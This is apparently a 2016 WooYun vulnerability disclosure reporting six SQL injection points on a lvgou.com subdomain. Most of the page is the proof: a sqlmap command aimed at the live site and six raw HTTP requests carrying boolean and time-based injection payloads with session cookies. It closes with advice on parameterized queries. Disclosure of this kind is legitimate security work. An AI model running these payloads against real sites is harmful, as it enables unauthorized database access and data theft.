当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0212344

漏洞标题:绿狗某站SQL注入6处(root权限影响百万数据)

相关厂商:lvgou.com

漏洞作者: 路人甲

提交时间:2016-05-24 15:53

修复时间:2016-06-01 10:20

公开时间:2016-06-01 10:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-24: 细节已通知厂商并且等待厂商处理中
2016-05-24: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

当用户可控的数据未经过恰当的处理就进入了数据库执行的SQL语句中时,就可能存在SQL注入漏洞。攻击者可以定制特定的字符来改变SQL语句的语义。通过SQL注入漏洞可以造成多种危害,包括读取或者修改应用的数据,改变程序逻辑,提升权限和执行操作系统命令等。

详细说明:

1、漏洞触发页面以及对应功能:

屏幕快照 2016-05-24 下午3.00.49.png


2、漏洞复现具体流程,包含具体payload和完整的数据包

➜  sqlmap git:(master) ✗ python sqlmap.py -u "http://up.lvgou.com/order/getBusinessScope?id=25" --random-agent -o --users


1,

GET /order/getBusinessScope?id=25%20AND%203*2*1%3d6%20AND%20262%3d262 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: up.lvgou.com
Cookie: PHPSESSID=rkhc58316h6hucu79i4unsogg1; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22ebc0a94a4bcae424edea1b198a754f1f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A7%3A%220.0.0.0%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+6_0+like+Mac+OS+X%29+AppleWebKit%2F536.26+%28KHTML%2C+like+Gecko%29+Version%2F6.0+Mobile%2F10A5376e%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1464018933%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D001ec60369ff5e07ce30e6c95eaf13849200f73f; USER_COOKIE_ID=rkhc58316h6hucu79i4unsogg1
Host: up.lvgou.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*


2,

GET /order/getBusinessDesc?cid=3302%20AND%203*2*1%3d6%20AND%20297%3d297&pid=1 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: up.lvgou.com
Cookie: PHPSESSID=rkhc58316h6hucu79i4unsogg1; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22fe78b4d9d292d0320f423504bc1d6509%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A7%3A%220.0.0.0%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+6_0+like+Mac+OS+X%29+AppleWebKit%2F536.26+%28KHTML%2C+like+Gecko%29+Version%2F6.0+Mobile%2F10A5376e%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1464019272%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Daa90fa01309a69a0a830f676a0d88ade7fccaa52; USER_COOKIE_ID=rkhc58316h6hucu79i4unsogg1
Host: up.lvgou.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*


3,

GET /order/getBaAreaJson?a_id=48%20AND%203*2*1%3d6%20AND%20375%3d375&g_id=area_id&type=area_id HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: up.lvgou.com
Cookie: PHPSESSID=rkhc58316h6hucu79i4unsogg1; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22fe78b4d9d292d0320f423504bc1d6509%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A7%3A%220.0.0.0%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+6_0+like+Mac+OS+X%29+AppleWebKit%2F536.26+%28KHTML%2C+like+Gecko%29+Version%2F6.0+Mobile%2F10A5376e%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1464019272%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Daa90fa01309a69a0a830f676a0d88ade7fccaa52; USER_COOKIE_ID=rkhc58316h6hucu79i4unsogg1
Host: up.lvgou.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*


4,

POST /order/addtocart HTTP/1.1
Content-Length: 236
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: up.lvgou.com
Cookie: PHPSESSID=rkhc58316h6hucu79i4unsogg1; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22fe78b4d9d292d0320f423504bc1d6509%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A7%3A%220.0.0.0%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+6_0+like+Mac+OS+X%29+AppleWebKit%2F536.26+%28KHTML%2C+like+Gecko%29+Version%2F6.0+Mobile%2F10A5376e%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1464019272%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Daa90fa01309a69a0a830f676a0d88ade7fccaa52; USER_COOKIE_ID=rkhc58316h6hucu79i4unsogg1
Host: up.lvgou.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*
ap_id=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&area_id=0&ba_id=0&bounced_title=1&city_id=0&province_id=1&radioaddress=1&radioba=1&virtual_id=0


5,

GET /order/getBusinessDesc?cid=3302&pid=1%20AND%203*2*1%3d6%20AND%20329%3d329 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: up.lvgou.com
Cookie: PHPSESSID=rkhc58316h6hucu79i4unsogg1; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22fe78b4d9d292d0320f423504bc1d6509%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A7%3A%220.0.0.0%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+6_0+like+Mac+OS+X%29+AppleWebKit%2F536.26+%28KHTML%2C+like+Gecko%29+Version%2F6.0+Mobile%2F10A5376e%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1464019272%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Daa90fa01309a69a0a830f676a0d88ade7fccaa52; USER_COOKIE_ID=rkhc58316h6hucu79i4unsogg1
Host: up.lvgou.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*


6,

GET /order/getAreaJson?g_id=city_id&id=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&random=0.0010324579197913408&type=province_id HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: up.lvgou.com
Cookie: PHPSESSID=rkhc58316h6hucu79i4unsogg1; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%224f4a46bd5ce24dba4363361a41467b0d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A7%3A%220.0.0.0%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+6_0+like+Mac+OS+X%29+AppleWebKit%2F536.26+%28KHTML%2C+like+Gecko%29+Version%2F6.0+Mobile%2F10A5376e%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1464019667%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D533fc0aebebd52933a76aa7cbae85f2ded7f8aa9; USER_COOKIE_ID=rkhc58316h6hucu79i4unsogg1
Host: up.lvgou.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25
Accept: */*

漏洞证明:

数据库相关信息证明,仅证明,未存储下载任何敏感信息

屏幕快照 2016-05-24 下午2.53.23.png


屏幕快照 2016-05-24 下午2.53.01.png


屏幕快照 2016-05-24 下午2.52.54.png

修复方案:

最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-06-01 10:20

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无